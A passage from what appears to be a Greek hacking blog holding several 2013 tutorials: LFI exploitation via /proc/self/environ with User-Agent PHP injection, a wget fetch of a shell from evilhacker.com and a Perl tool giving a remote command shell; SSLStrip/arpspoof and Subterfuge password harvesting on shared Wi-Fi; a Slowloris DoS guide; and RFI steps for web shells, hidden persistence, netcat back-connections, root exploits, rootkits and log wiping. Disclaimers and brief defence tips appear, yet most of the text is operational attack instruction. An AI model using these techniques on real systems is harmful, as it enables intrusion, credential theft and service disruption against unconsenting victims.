12}
13else
14{
15        print "PFF.. ",$host," is NOT Vulnerable AGAIN!!\n";
16}
17
18}

Στην Εικόνα βλέπουμε ένα site που με ευκολία μας δείχνει όλα του τα “ευαίσθητα” προσωπικά δεδομένα “/etc/passwd”. Καλό σημάδι για έναν εισβολέα..Κακό για τον admininstrator.

Βήμα 3ο

Στα προηγούμενα δύο βήματα ανακαλύψαμε ένα site το οποίο έχει πρόβλημα στο πως δέχεται τα δεδομένα, και αβίαστα εμφανίζει αρχεία μέσα που σε καμία περίπτωση δε θα έπρεπε να βλέπαμε. Το directory που θα χρησιμοποιήσουμε για τα παραδείγματα μας στη συνέχεια του άρθρου, δέν θα είναι το “/etc/passwd” αλλά το “/proc/self/environ/“.
Στην περίπτωση που θέλουμε να αυτοματοποιήσουμε την συγκεκριμένη διαδικασία -δηλαδή να ψάχνει για το directory “proc/self/environ”- απλα αλλάζουμε το directory που scannάραμε στο προηγούμενο βημα καθώς επίσης και το if ($scnpg=~/root/) σε if ($scnpg=~/HTTP_USER_AGENT/) και είμαστε έτοιμοι ;)
Βλέπουμε στα στοιχειά που περιέχει το “/proc/self/environ/” αναφέρει και τα στοιχεία του User Agent μας.

Mozilla/5.0 (X11; U; Linux i686; el-GR; rv:1.9.0.3) Gecko/2008092510 Iceweasel/3.0.1 (Debian-4.0.1-2)

Εδώ βλέπουμε μερικά στοιχεία που μας αποκαλύπτει το /proc/self/environ/.Στο οποίο θα προσπαθήσουμε να πάρουμε πρόσβαση.. Τώρα το πως, αποτελεί ένα αίνιγμα που θα ξετυλιχτεί λίγο-λίγο μπροστά στα μάτια σας.
Μας ήρθε μια σατανική ιδέα! Αφού δείχνει τα στοιχεία του User Agent μας σαν στοιχεία του site, θα δοκιμάσουμε, να αλλάξουμε τα στοιχεία αυτά με μια εντολή που μας δίνει για παράδειγμα τη λίστα όλων των περιεχομένων του κατάλογου όπου βρισκόμαστε! Στο linux είναι η εντολή ls.
Για να υλοποιήσουμε την σατανική μας ιδέα θα χρειαστούμε το Extension για τον FireFox με το όνομα Tamper Data.
Το tamper data εν δράση!

Βήμα 4ο

Αφού εγκατασταθεί το extencion Tamper Data το βάζουμε σε λειτουργία
Το ανοίγουμε το site μας πάμε στην καρτέλα του Tamper Data, πατάμε start Tamper Data και κάνουμε refresh το site. Οταν μας εμφανιστεί αυτό που βλέπουμε στην εικόνα 3 πατάμε “tamper” και θα μας βγάλει στο το menu το οποίο φαίνεται στην εικόνα 4 και αλλάζουμε τα στοιχεία του User Agent με την εντολη ls -la, αλλά όχι έτσι απλά. H ολοκληρωμένη μορφή της εντολής θα πρέπει να είναι η ακόλουθη:

1<? system("ls -la");?>
Αλλάζουμε τα στοιχεία του User Agent στο συγκεκριμένο πεδίο με την εντολή. Αν όλα πάνε καλά μας περιμένει μια έκπληξη.
Ο λόγος που γράφουμε έτσι την εντολή είναι απλός. Προσπαθούμε να κοροϊδέψουμε το site ώστε να πιστέψει ότι και η εντολή μας είναι μέρος του κώδικα!

Βήμα 5ο

Αφού ακολουθήσαμε πιστά τις οδηγίες του όρθρου, κάνουμε refresh! Και…boom! ΟΛΑ τα δεδομένα του συγκεκριμένου καταλόγου.

Όλα τα αρχεία που εμπεριέχονται στον συγκεκριμένο κατάλογο.. είναι ορατά σε έναν όχι και τόσο εξουσιοδοτημένο χρήστη!

Αν δεν καταλαβαίνετε τη λέει η λίστα, μπορείτε και κοιτάξετε τον πηγαίο κώδικα της σελίδας και αυτό που θα δείτε θα είναι κάπως …ετσι...

Μια πιο εύκολα αναγνώσιμη μορφή των δεδομένων της σελίδας!!

Βήμα 6ο

Αφού πήραμε μια γεύση για το τη μπορούμε να κάνουμε με το LFI, ας δούμε όμως μέχρι που μπορούμε να το φτάσουμε. Λοιπόν, ας αντικαταστήσουμε την προηγούμενη εντολή με μια λίγο διαφορετική. Αλλά βασισμένη στην ίδια λογική! Θα ανεβάσουμε σε δικο μας έναν server ένα shellakι όπως αυτά που χρησιμοποιούνται στις αντεπιθέσεις RFI.  Όταν γίνει αυτό βάζουμε το server-θυμα να το κατεβάσει στα αρχεία του με την εντολή wget!

1<?php system("wget www.evilhacker.com/shell.txt; mv shell.txt hacked.php");?>

Με την παραπάνω εντολή, αναγκάζουμε το σύστημα να κατεβάσει -μέσω του “wget”- το shell.txt και μετά με την εντολή “mv” αλλάζουμε το όνομα από shell.txt σε hacked.php.
Πάμε στη σελίδα “/hacked.php”.

Το σύστημα είναι πλέων owned :) Και χωρίς καν να ιδρώσουμε!

Βήμα 7ο

Αφού κατανοήσαμε τον τρόπο με τον οποίο λειτουργεί η συγκεκριμένη επίθεση, σειρά έχει να γράψουμε ένα αυτοματοποιημένο εργαλείο το οποίο να μας επιστρέφει shell, ώστε να μην χρειάζεται να κάνουμε όλη την προαναφερθείσα διαδικασία.

01#!/usr/bin/perl
02
03use LWP::UserAgent;
04use HTTP::Request;
05
06print "\n(c) totalXaker magazine \n";
07print "LocalFI Automatic Ownage Tool [mr.pr0n]\n";
08print "Host: ";
09print "[Ex: www.xxx.org ]:";
10chop ($host = );
11$host = "http://".$host if ($host !~ /^http:/);
12print "Enter path:";
13print "[Ex: xxx.php?xxx= ]:";
14chop ($path = );
15{
16        $ext="../../../../../../../../../../../../../../../../../../../proc/self/environ";
17        $lfi=$host."/".$path.$ext;
18        print "$lfi\n\n";
19        $useragent = LWP::UserAgent->new;
20        print ":~# ";
21        while( $cmd = )
22        {
23                chop($cmd);
24                # Allazoyme ta stoixeia tou User Agent me oti 8eloume emeis
25                $useragent->agent("data<!--?php system('$cmd');?-->data");
26                $response = $useragent->get( $lfi );
27                # Osa stoixeia emfanistikan ap thn entolh, anagrafonte sto termatiko
28                if ($response->content =~ /data(.*)data/s)
29                {
30                        print $1;
31                }
32                print ":~# ";
33        }
34}

Τα αποτελέσματα και η χρήση του προγράμματος που γράψαμε είναι εμφανέστατα εικονα...

Το μικρο μας -όχι τόσο αθώο- προγραμματάκι έχει βάλει δυνατά του να μας βγάλει ασπροπρόσωπους και τα κατάφερε μια χαρά αφού πήραμε cmd μέσα στον server-στόχο. Πόσο χειρότερα για τον Admin θα μπορούσαν να είναι τα πράγματα?

Επίλογος

Όπως θα διαπιστώσατε στις εικόνες, τα στοιχεία του site είναι καλυμμένα ως έναν αρκετά ικανοποιητικό βαθμό, ώστε να αποφευχθούν οι επιθέσεις από ανώριμα script kiddies τα οποία το μόνο που θα ενδιαφερθούν είναι να κάνουν ενα deface στο server χωρίς καν να καταλάβουν πως έγιναν όλα αυτά.
Όπως είναι φυσικό και επόμενο το shell “hacked.php” που είχα ανεβάσει, έχει σβηστεί απ’τον server καθώς επίσης δεν έχει πειραχτεί κανένα μα κανένα αρχείο. H γνώση δείχνει δύναμη.. ενώ η επίδειξη της δύναμη με σκοπό την καταστροφή δείχνει απλά την μετριότητα.

ΠΡΟΣΟΧΗ! Αυτός ο οδηγός εκμάθησης παρέχεται μόνο για εκπαιδευτικούς σκοπούς. Δε φέρω καμιά ευθύνη σε περίπτωση που χρησιμοποιηθεί για κακόβουλη χρήση και για εφαρμογή του σε τρίτους χωρίς την συγκατάθεση τους. Κάθε παράνομη εφαρμογή του οδηγού αυτού διώκεται ποινικά από το νόμο.

Τρίτη 5 Μαρτίου 2013

"Ψάρεμα" κωδικών λογαριασμών HTTPS/SSL σελίδων με SSLStrip και ARPSpoof

Γειά σας... Πριν λίγες μέρες έφτιαξα ένα tutorial για το πως ψαρεύουμε κωδικούς πρόσβασης από ένα LAN δίκτυο χρησιμοποιώντας το social engineering tool του Backtrack 5. Σήμερα σε αυτό το tutorial θα σας δείξω πώς να ψαρέψετε κωδικού πρόσβασης από σελίδες με καταλλήξεις https/ssl δηλαδή σελίδες που είναι προστατευμένες με το πρωτόκολλο SSL. Αυτή η τεχνική μπορεί να εφαρμοστεί σε ασύρματα και ενσύρματα δίκτυα. Είναι ουσιαστικά μια ΜΙΤΜ επίθεση και για να πραγματοποιηθεί πρέπει να έχουμε ένα κομβικό σημείο για παράδειγμα ένα router (ασύρματο/ενσύρματο) που να χρησιμοποιήται από πολλούς χρήστες.
Τα εργαλεία που θα χρησιμοποιηθούν είναι το SSLStrip, arpspoof και φυσικά το Backtrack 5 R3.



Αν δεν έχουμε εγκατεστημένο το SSLStrip τότε:

1) Ανοίγω ένα τερματικό και εισάγω: wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gz

http://zyphyto1.host56.com/sslstrip/3.jpg

2) Στη συνέχεια αποσυμπιέζω το αρχείο που κατέβασα γράφοντας: tar zxvf sslstrip-0.9.tar.gz

http://zyphyto1.host56.com/sslstrip/4.jpg

3) Ανοίγω το φάκελο που αποσυμπίεσα το αρχείο: cd sslstrip-0.9
4) Τέλος κάνω εγκατάσταση γράφοντας: python setup.py install

http://zyphyto1.host56.com/sslstrip/6.jpg

1) Ανοίγω νέο τρματικό και γράφω την παρακάτω εντολή έτσι ώστε να ορίσω τη θύρα που θα στέλνονται τα δεδομένα: echo ’1′ > /proc/sys/net/ipv4/ip_forward 

http://zyphyto1.host56.com/sslstrip/1.jpg

2) Βρισκω την ΙΡ του router: netstat -nr

http://zyphyto1.host56.com/sslstrip/2.jpg

3) Στη συνέχεια ορίζω τα iptables στη θύρα 8080: iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 8080 

http://zyphyto1.host56.com/sslstrip/7.jpg

4) Αρχίζω να κάνω arpspoofing ή αλλιώς δημιουργώ κίνηση στο router δηλητηριάζοντας το έτσι ώστε να κάνω ΜΙΤΜ επίθεση: arpspoof -i wlan0 192.168.0.1 (Αντικαθιστώ το wlan0 με τον τύπο της σύνδεσης και σαν ΙΡ δίνω την ΙΡ της Gateway που μου δώθηκε όταν έβαλα στο τερματικό την εντολή  netstat -nr

http://zyphyto1.host56.com/sslstrip/8.jpg

5) Τέλος ενεργοποιώ το sslstrip: sslstrip -l 8080

http://zyphyto1.host56.com/sslstrip/9.jpg

6) Επομένως αυτό που έχουμε είναι 2 τερματικά όπου στο ένα τρέχει το sslstrip και στο άλλο το arpspoof

http://zyphyto1.host56.com/sslstrip/12-%20sitandwait.jpg

7) Αν επιθυμώ να μου εμφανίζεται στο τερματικό η κίνηση του δικτύου γράφω: tail -f sslstrip.log 

http://zyphyto1.host56.com/sslstrip/16-logfiletail.jpg

http://zyphyto1.host56.com/sslstrip/17-3screens.jpg

8) Όταν οι χρήστες του δικτύου ανοίξουν οποιαδήποτε σελίδα στην οποία δίνουν username/password τότε αυτομάτως εμφανίζονται στην οθόνη μας. Επίσης αν δεν εμφανίζονται κωδικοί στην οθόνη μπορούμε να μεταβούμε στο φάκελο του sslstrip και να βρούμε ένα αρχείο name.log όπου θα εμφανίζεται εκεί η κίνηση του δικτύου.

http://zyphyto1.host56.com/sslstrip/passwords%20recieved.jpg

ΣΗΜΕΙΩΣΗ:
Για τυχόν errors που θα εμφανιστούν πιθανόν στο τερματικό σας μη δώσετε σημασία. Δεν υπάρχει κανένα πρόβλημα είναι φυσιολογικό. Απλά κάθε φορά έχετε το νού σας για αναβαθμίσεις του sslstrip στη σελίδα του έτσι ώστε να έχετε ενημερωμένες εκδόσεις του.

http://zyphyto1.host56.com/sslstrip/14-error.jpg

Επίσης το sslstrip δεν μπορεί να δουλέψει τόσο καλά με browsers όπως ο Mozilla και το Google Chrome και όπως επίσης με site ειδικά με το Gmail.

Τρόποι προστασίας:
  • Θα πρέπει να αποφεύγουμε να μπαίνουμε σε site όπου δίνουμε κωδικούς πρόσβασης σε δίκτυα ασύρματα/ ενσύρματα που δεν είναι ασφαλή όπως τα ασύρματα δίκτυα μιας καφετέριας ενός internet cafe κτλ.
  • Επίσης θα πρέπει όταν είμαστε σε τέτοια δίκτυα και όταν μπούμε στη σελίδα και πάμε να δώσουμε τον κωδικό πρόσβασης πάντα μα πάντα να ελέγχουμε πάνω στο σύνδεσμο να γράφει: https://............ αυτό είναι η πιστοποίηση για την εγκυρότητα του site. Μας λέει δηλαδή οτι δεν είναι πλαστό και οτι δε χρησιμοποιεί κάποιος μια πλαστή σελίδα έτσι ώστε να μας αποσπάσει κωδικούς.
  • Τέλος, είναι πολύ σημαντικό να προσέχουμε οτιδήποτε περίεργο μας εμφανιστεί ή οποιαδήποτε περίεργη συμπεριφορά προκύψει κατα τη διάρκεια φόρτωσης της οποιαδήποτε σελίδας και του δικτύου.

ΠΡΟΣΟΧΗ! Αυτός ο οδηγός εκμάθησης παρέχεται μόνο για εκπαιδευτικούς σκοπούς. Δε φέρω καμιά ευθύνη σε περίπτωση που χρησιμοποιηθεί για κακόβουλη χρήση και για εφαρμογή του σε τρίτους χωρίς την συγκατάθεση τους. Κάθε παράνομη εφαρμογή του οδηγού αυτού διώκεται ποινικά από το νόμο.

Κυριακή 3 Μαρτίου 2013

DoS επίθεση με το BackTrack 5 R3 | Slowloris.pl

Ένα είδος επίθεσης σε κάποιο server είναι η επίθεση DoS (Denial of Service). Για να πραγματοποιήσουμε αυτό υπάρχουν αρκετοί τρόποι (LOIC, HOIC, slowloris κτλ...) Στο παρακάτω απόσπασμα ακολουθεί ένα σεμινάριο DoS επίθεσης με τη χρήση του εργαλείου slowloris στο BackTrack5 R3.
Το πρώτο πράγμα που πρέπει να κάνουμε για πραγματοποιήσουμε αυτό το είδος επίθεσης σε ένα server είναι να βρούμε από το διαδίκτυο το αρχείο slowloris.pl. Το αρχείο αυτό είναι ένας κώδικας και μπορούμε να τον κατεβάσουμε από το link που ακολουθεί:

http://ha.ckers.org/slowloris/slowloris.pl

Αφού ανοίξουμε το link πατάμε επιλογή όλων και δεξί κλικ αντιγραφή. Στη συνέχεια ανοίγουμε ένα κενό έγγραφο κειμένου (gedit), πατάμε επικόλληση και αποθηκεύουμε το έγγραφο στην επιφάνεια εργασίας του BackTrack 5 R3 με το όνομα ''slowloris.pl''.
Αφού κάνουμε αυτό, επόμενο βήμα είναι να βρούμε το στόχο-site που θέλουμε να χτυπήσουμε.
Μετά από αυτό ανοίγουμε ένα terminal και πληκτρολογούμε:

Code:
cd Desktop/ ↵
./slowloris.pl – dns (ip or www.site.com)

Όταν κάνουμε αυτό θα δούμε στην οθόνη να τρέχουν κάποια γράμματα.

Για παράδειγμα
Building Pockets
Building Pockets
Building Pockets
Building Pockets
Building Pockets...
Αυτό σημαίνει ότι η επίθεση έχει αρχίσει...

Τώρα αν προσπαθήσουμε να ανοίξουμε τη σελίδα που χτυπάμε πολύ απλά θα μας δείχνει σφάλμα σύνδεσης στη σελίδα. Όταν σταματήσουμε την επίθεση και ανοίξουμε τη σελίδα τότε θα μπορέσουμε να εισελθουμε σε αυτήν ξανά. Να θυμάστε όσο περισσότερα άτομα χτυπάνε μαζί μια σελίδα τόσο καλύτερο θα είναι το αποτέλεσμα. Μερικοί server όμως που έχουν load balancer πολύ πιθανό η επίθεση DoS να μην πιάσει. Τέλος το slowloris αποτελεί ένα ισχυρό εργαλείο για DoS επιθέσεις όπως επίσης να μη ξεχνάμε πάντα να χρησιμοποιούμε τα κατάλληλα προγράμματα για διαφύλαξη της ανωνυμίας μας. (VPN, proxy, κτλ).

ΠΡΟΣΟΧΗ! Αυτός ο οδηγός εκμάθησης παρέχεται μόνο για εκπαιδευτικούς σκοπούς. Δε φέρω καμιά ευθύνη σε περίπτωση που χρησιμοποιηθεί για κακόβουλη χρήση και για εφαρμογή του σε τρίτους χωρίς την συγκατάθεση τους. Κάθε παράνομη εφαρμογή του οδηγού αυτού διώκεται ποινικά από το νόμο.

Παρασκευή 1 Μαρτίου 2013

Backtrack 5 R3 Tutorial - Αυτοματοποιημένη διαδικασία απόκτησης κωδικών πρόσβασης με Subterfuge


Σε αυτό το tutorial θα δούμε πως να αποκτήσουμε κωδικούς πρόσβασης με διαδικασία ΜΙΤΜ (Man in the Middle) χρησιμοποιώντας το Subterfuge.

1) Πρώτα απ'όλα κατεβάζουμε το subterfuge από εδώ
2) Ανοίγουμε ένα τερματικό και πηγαίνουμε στο φάκελο που κατεβάσαμε το αρχείο μας πληκτρολογόντας cd Downloads και στη συνέχεια ls. Η διαδικασία φαίνεται παρακάτω στην εικόνα.
3) Αποσυμπιέζουμε το αρχείο: tar -zxvf (όνομα αρχείου)


4) Στη συνέχεια γράφουμε: cd subterfuge
5) Μετά γράφουμε την παρακάτω εντολή έτσι ώστε να μας ανοίξει το αρχείο ρυθμίσεων της εφαρμογής και να δούμε ποια είναι η εντολή εγκατάστασης του: nano README




6) Αφού κάναμε έλεγχο πληκτρολογούμε: python setup.py install

7) Για να κάνουμε εγκατάσταση της εφαρμογής σε γραφικό περιβάλλον: ./setup.py



8) Επιλέγουμε πλήρης εγκατάσταση...




9) Για να εκκινήσουμε γράφουμε στο τερματικό: subterfuge


10) Ανοίγουμε τον browser και εισάγουμε το link που φαίνεται http://127.0.0.1:80





11) Στη συνέχεια μας ανοίγει ένα παράθυρο με τις επιλογές της εφαρμογής. Παρατηρούμε ότι υπάρχουν πολλές επιλογές για ένα πλήρες penetration test.



12) Στην πάνω δεξιά γωνία της οθόνης γράφει "Start". Κάνουμε κλίκ και στη συνέχεια επιλέγουμε "ΟΚ" στο μήνυμα που εμφανίζεται





13) Ας ρίξουμε μια ματιά στο τερματικό. Όπως βλέπουμε όλα γίνονται με αυτόματο τρόπο και συγκεκριμένα το arp poisoning, ip forwarding, credential harvester και το sslstrip.


14) Τέλος ρίχνω μια ματιά στον browser και παρατηρώ ότι ανάλογα με την κίνηση του δικτύου και ανάλογα σε ποια σελίδα μπαίνουν για παράδειγμα οι χρήστες του ασύρματου δικτύου σε μια καφετέρια με ασύρματο δωρεάν ιντερνετ παίρνω τους κωδικούς πρόσβασης τους όταν μπαίνουν στους λογαριασμούς τους.



ΠΡΟΣΟΧΗ! Αυτός ο οδηγός εκμάθησης παρέχεται μόνο για εκπαιδευτικούς σκοπούς. Δε φέρω καμιά ευθύνη σε περίπτωση που χρησιμοποιηθεί για κακόβουλη χρήση και για εφαρμογή του σε τρίτους χωρίς την συγκατάθεση τους. Κάθε παράνομη εφαρμογή του οδηγού αυτού διώκεται ποινικά από το νόμο.

Δευτέρα 25 Φεβρουαρίου 2013

Επιθέσεις R.F.I (Remote File Inclusion)

Σε προηγούμενο tutorial είχαμε αναφέρει γενικά τα είδη των διαδικτυακών επιθέσεων. Σε αυτό λοιπόν το tutorial θα αναλύσουμε με λεπτομέρειες τι είναι το R.F.I, θα πούμε πως γίνεται όπως επίσης θα αναφέρουμε και τρόπους προστασίας.
Η μέθοδος αυτή αφορά την εκτέλεση ενός κακόβουλου προγράμματος (για την ακρίβεια ενός webshell) από έναν μη εξουσιοδοτημένο χρήστη, σε μια ευάλωτη σε αυτού του είδους την επίθεση ιστοσελίδα που φιλοξενείται σε κάποιον server. Το συγκεκριμένο κενό ασφαλείας μας επιτρέπει να συμπεριλάβουμε ό,τι κώδικα θέλουμε στην URL, όπως για παράδειγμα την εκτέλεση ενός webshell.
Στο διαδίκτυο μπορεί να βρει κανείς διάφορα webshells. Με τη χρήση αυτών λοιπόν, πολλές φορές, μπορούμε να εγκαταστήσουμε κάποιο keylogger, trojan, backdoor. Μπορούμε ακόμα και να πάρουμε τον έλεγχο του λειτουργικού συστήματος του σέρβερ δηλαδή να πάρουμε root access (own the box).
Το webshell είναι μια σελίδα γραμμένη σε php ή asp τις περισσότερες φορές (γενικά όμως dynamic pages κτλ.) η οποία δίνει την δυνατότητα στον επιτιθέμενο να δει τα περιεχόμενα των φακέλων του site, να διαχειρίζεται αρχεία (προσθήκη, επεξεργασία, ανέβασμα κτλ) ανάλογα βέβαια πάντα και με τα permissions, κι όπως είπαμε και προηγουμένως ακόμα και να rootarei το box!
Το συγκεκριμένο κενό ασφαλείας οφείλεται στον κακό προγραμματισμό (τι άλλο θα μπορούσε δηλαδή;) κι επεξηγώ... Εάν κοιτάξουμε στον κώδικα του php αρχείου προσεχτικά θα βρούμε σε κάποιο σημείο το εξής καλούδι:

include($page . '.php');
Τι σημαίνει δηλαδή αυτό; Σημαίνει ότι η συνάρτηση include() δέχεται χωρίς κανένα πρόβλημα ό,τι της σερβίρουμε. Μα φυσικά τι άλλο εκτός από το ωραίο, συναρπαστικό αλλά πάνω απ' όλα κακόβουλο (για τον admin, όχι για εμάς) shellaki μας.

Δηλαδή, έχουμε το εξής site:http://www.site.gr/index.php?page=index.php
Εμείς λόγω του κενού αυτού που αναφέραμε, μπορούμε να το τροποποιήσουμε λιγάκι το url, δηλαδή να εκτελέσουμε το εξής:

http://www.site.gr/index.php?

page=http://www.remotewebserver.gr/shell.php

ώστε να το κάνουμε να διαβάζει το shell μας το οποίο έχουμε ανεβάσει σε έναν
remote web server. Επίσης, έχουμε την δυνατότητα να ανεβάσουμε το shell ως .txt αρχείο για να μην μπορούν οι άλλοι να δουν τα περιεχόμενα του δικού μας site.

Εκτελούμε δηλαδή:
http://www.site.gr/index.php?

page=http://www.remotewebserver.gr/shell.txt?

Το ερωτηματικό το βάζουμε για να πούμε στον σέρβερ να διαβάσει το αρχείο shell.txt ως php κι όχι ως txt. Να σημειώσω ότι μερικές φορές το ερωτηματικό δεν επαρκεί για να “ξεγελάσει” το website. Ενδέχεται λοιπόν να πρέπει να προσθέσουμε null bytes για να εκτελεστεί κανονικά.
Αυτό το κάνουμε δίνοντας την εξής εντολή:

http://www.site.gr/index.php?
page=http://www.remotewebserver.gr/shell.txt?

Πως μπορούμε να εντοπίζουμε τέτοιου είδους κενά ασφαλείας;


Τέτοιες αδυναμίες μπορούμε να βρούμε εάν κατέχουμε ορισμένες γνώσεις προγραμματισμού. Συνήθως όμως τις βρίσκουμε με Vulnerability Scanners (nikto, acunetix, darkjumper_script κτλ). Μπορούμε όμως να βρούμε τέτοιου είδους ευάλωτες ιστοσελίδες και μέσω των γνωστών μας google dorks, ακόμα κι από bots που τρέχουν σε IRC Servers.

Πως ελέγχουμε αν είναι όντως ευάλωτο σε R.F.I επιθέσεις το συγκεκριμένο link;


Έχουμε το εξής site:

http://www.site.gr/index.php?page=index.php

Για να ελέγξουμε εάν είναι τρωτό στο συγκεκριμένο bug αντικαθιστούμε το index.php με όποια σελίδα να ‘ναι.
Μπορούμε να κάνουμε δηλαδή το εξής απλό:

http://www.site.gr/index.php?page=www.google.gr

Εάν φορτώσει το google μέσα στη σελίδα μας, τότε σημαίνει ότι το site αυτό είναι ευάλωτο σε αυτού του είδους τις επιθέσεις.Που ανεβάζω το shellaki μου; Προφανώς δεν θα το ανεβάσουμε σε κάποιον δικό μας σέρβερ λόγω tracing. Οπότε, μπορούμε να κάνουμε το εξής απλό και να ανεβάσουμε τα διάφορα shellakia μας σε έναν free host.

Που θα βρούμε έναν τέτοιον;

Υπάρχουν πάρα πολλοί στο διαδίκτυο και με ένα απλό googlarisma βρίσκεις.
Παραδείγμα:

Αφού ανεβάσουμε το shell μας, πάμε να πάρουμε το direct link του αρχείου.
Το link που θα πάρουμε θα είναι της ακόλουθης μορφής:

http://www.speedyshare.com/files/12345678/shell.php
http://www.speedyshare.com/files/12345678/shell.txt

Το direct link στον συγκεκριμένο σέρβερ προκύπει εάν πριν από το όνομα προσθέσουμε download/
Δηλαδή τα direct links είναι το εξής:

http://www.speedyshare.com/files/12345678/download/shell.php
http://www.speedyshare.com/files/12345678/download/shell.txt

Εμείς ανεβάζουμε το shell και ως .php αλλά και ως .txt αρχείο γιατί δεν ξέρεις τι θα βολεύει κάθε φορά (άλλες φορές θα χρησιμοποιούμε το shell κι άλλες το txt).

ΣΗΜΕΙΩΣΗ: Καλό είναι να έχουμε ανεβασμένα 2-3 shells καθώς ορισμένες φορές μπορεί το ένα να μην μπαίνει και να μπαίνει το άλλο. Πολύ καλό shell είναι το storm7shell. Γενικά, να χρησιμοποιείτε shells που διαθέτουν back-connection feature για να μην χρειάζετε να κάνετε upload το netcat εάν επιχειρήσετε να rootarete το box.

Πως μπορούμε να διατηρήσουμε την πρόσβαση μας στο site;


Εάν έχουμε τα κατάλληλα δικαιώματα μπορούμε να ανεβάσουμε το ίδιο το shell στο site. Έτσι θα έχουμε πρόσβαση ανά πάσα στιγμή το επιθυμούμε, όσο το shell θα παραμένει ανεβασμένο στην σελίδα ανεξάρτητα από το εάν έχει διορθοθεί το bug. Φυσικά, δεν το κάνουμε όπως να ‘ναι. Το shell θα το ανεβάσουμε σε ένα απομακρυσμένο directory και με όνομα τέτοιο ώστε να μην κινεί ιδιαίτερα υποψίες, όπως changelog.php, default.php, default_pages.php κλπ.Πως μπορούμε να rootaroume έναν Linux Server με SAFE MODE:OFF.
Καταρχάς, θα χρειαστούμε το NetCat και ένα Local Root Exploit (ανάλογα πάντα βέβαια την έκδοση του server που έχουμε βάλει στο shell). Εφόσον έχουμε ανεβάσει το shell πάμε να μάθουμε πρώτα απ’ όλα ποια είναι η έκδοση του box.
Δίνουμε λοιπόν την εντολή: uname –a
Πάμε τώρα να κάνουμε back-connection μέσω του shell.
Ανοίγουμε το NetCat στον υπολογιστή μας και το προστάζουμε να κάνει listen σε μια συγκεκριμένη θύρα.
Σημείωση: Η θύρα αυτή θα πρέπει να είναι ρυθμισμένη δηλαδή να γίνεται forward από το router και να μην υπάρχει θέμα με το firewall μας (πολύ απλά κλείστε το). Η default port για το storm7shell είναι η θύρα 5992. Γενικά, σε όλα τα shellakia με back-connection features σου γράφουν αυτά σε ποια θύρα πρέπει να κάνεις listen, αν και μπορείς να βάλεις όποια θύρα κάνεις κέφι εσύ. Δίνουμε λοιπόν την εξής εντολή στο NetCat για να ξεκινήσει το listening:
nc -n -l -v -p 5992
NetCat respond: listening on [any] 5992 ...
Στην φόρμα της IP βάζουμε την IP μας. Στην φόρμα της θύρας βάζουμε την θύρα την οποία ανοίξαμε και στην οποία ακούει το NetCat. Εάν πατήσουμε Connect, το shell θα μας απαντήσει:
Now script try connect to port 5992 ...
Εάν οι ρυθμίσεις μας είναι όλες σωστές τότε το NetCat θα μας δώσει το shell του σέρβερ. Συνεχίζουμε τώρα το rooting process. Πρέπει να βρούμε τώρα έναν εγγράψιμο φάκελο με σκοπό να κατεβάσουμε και να κάνουμε compile το Local Root Exploit το οποίο θα μας δώσει root privileges στο box. To exploit εξαρτάται από την έκδοση του kernel του εκάστοτε box. Μερικές φορές τα exploits αυτά δεν δουλεύουν επειδή μπορεί να τα έχουν κάνει patch τα bugs του kernel ή να μην έχουμε τα κατάλληλα permissions.
Μπορούμε να βρούμε εγγράψιμους φακέλους δίνοντας την εντολή:
find / -perm -2 -ls

Μπορούμε να χρησιμοποιήσουμε τον φάκελο /tmp που είναι σίγουρα εγγράψιμος φάκελος. Οπότε δίνουμε την εξής εντολή:
cd /tmp
Για να κατεβάσουμε το local root exploit μπορούμε να χρησιμοποιήσουμε την εντολή wget που είναι για download στο linux.
Για παράδειγμα:
wget http://www.remotewebhost.gr/rootexploit.c
Αφού κατεβάσουμε το exploit πρέπει να το κάνουμε compile. Όμως, πριν κάνουμε το compile θα πρέπει να διαβάσουμε τυχόν οδηγίες που παρέχονται. Για το exploit με όνομα ‘rootexploit’ πρέπει να γράψουμε:
gcc rootexploit.c -o rootexploit
Τώρα λοιπόν κάναμε το rootexploit εκτελέσιμο. Για να τρέξουν ορισμένα exploits χρειαζόμαστε ένα πολύ μεγάλο αρχείο στο δίσκο προκειμένου να τρέξει κανονικά και να πάρουμε root access (πχ. το h0llyshit exploit). Δεν θέλουν όμως όλα (ίσως λίγα μόνο θέλουν), οπότε θα πρέπει να το ψάξετε λίγο το συγκεκριμένο θέμα. Πρέπει να δημιουργήσουμε ένα μεγάλο αρχείο στο /tmp ή σε κάποιον άλλον εγγράψιμο φάκελο.
Η εντολή είναι:
dd if=/dev/urandom of=largefile count=2M
Όπου largefile είναι το όνομα του αρχείου. Θα χρειαστεί να περιμένουμε 2-3 λεπτά μέχρι να δημιουργηθεί ο φάκελος. Εάν η εντολή αποτύχει, μπορούμε να δοκιμάσουμε την εξής εντολή:
dd if=/dev/zero of=/tmp/largefile count=102400 bs=1024
Τώρα, μπορούμε να προχωρήσουμε στο τελευταίο στάδιο το οποίο είναι να τρέξουμε το exploit. Δίνουμε λοιπόν την εξής εντολή:
./rootexploit largefile
ή εάν είμαστε σε διαφορετικό εγγράψιμο φάκελο και το largefile έχει δημιουργηθεί στο φάκελο /tmp δίνουμε την εξής εντολή:
./rootexploit /tmp/largefile
Εάν το exploit δεν απαιτεί την παραπάνω διαδικασία, απλά δίνουμε την εξής εντολή:
./rootexploit
Εάν δεν παρουσιαστούν σφάλματα (γιατί όπως είπαμε μπορεί να έχει εγκατασταθεί κάποιο patch για τον kernel κτλ) θα γίνουμε root. Για να ελέγξουμε σίγουρα εάν γίναμε root πατάμε την εντολή:
whoami
Με την εντολή αυτή βλέπουμε το όνομα του χρήστη μας. Οπότε εάν δούμε root, τα καταφέραμε. Τώρα που γίναμε root μπορούμε να κάνουμε mass deface όλα τα sites του σέρβερ ή να εγκαταστήσουμε ένα rootkit (πχ. SSHDoor) και να πάρουμε ssh/telnet shell access στον σέρβερ. Όταν παίρνουμε access στο box θα πρέπει να σβήνουμε και τα logs ώστε να αποφεύγουμε το tracing. Αυτό μπορεί να επιτυγχανθεί με έναν log cleaner. Δεν θα δώσω tips κλπ γι’ αυτό μιας και είναι μια άλλη μεγάλη ιστορία από μόνο του.

Τρόποι Προστασίας


Η βασική αιτία που συμβαίνουν οι επιθέσεις αυτές οφείλεται στο configuration της γλώσσας PHP στον εκάστοτε server η οποία έχει «σεταριστεί» έτσι ώστε να επιτρέπει την κλήση προγραμμάτων από άλλα sites.
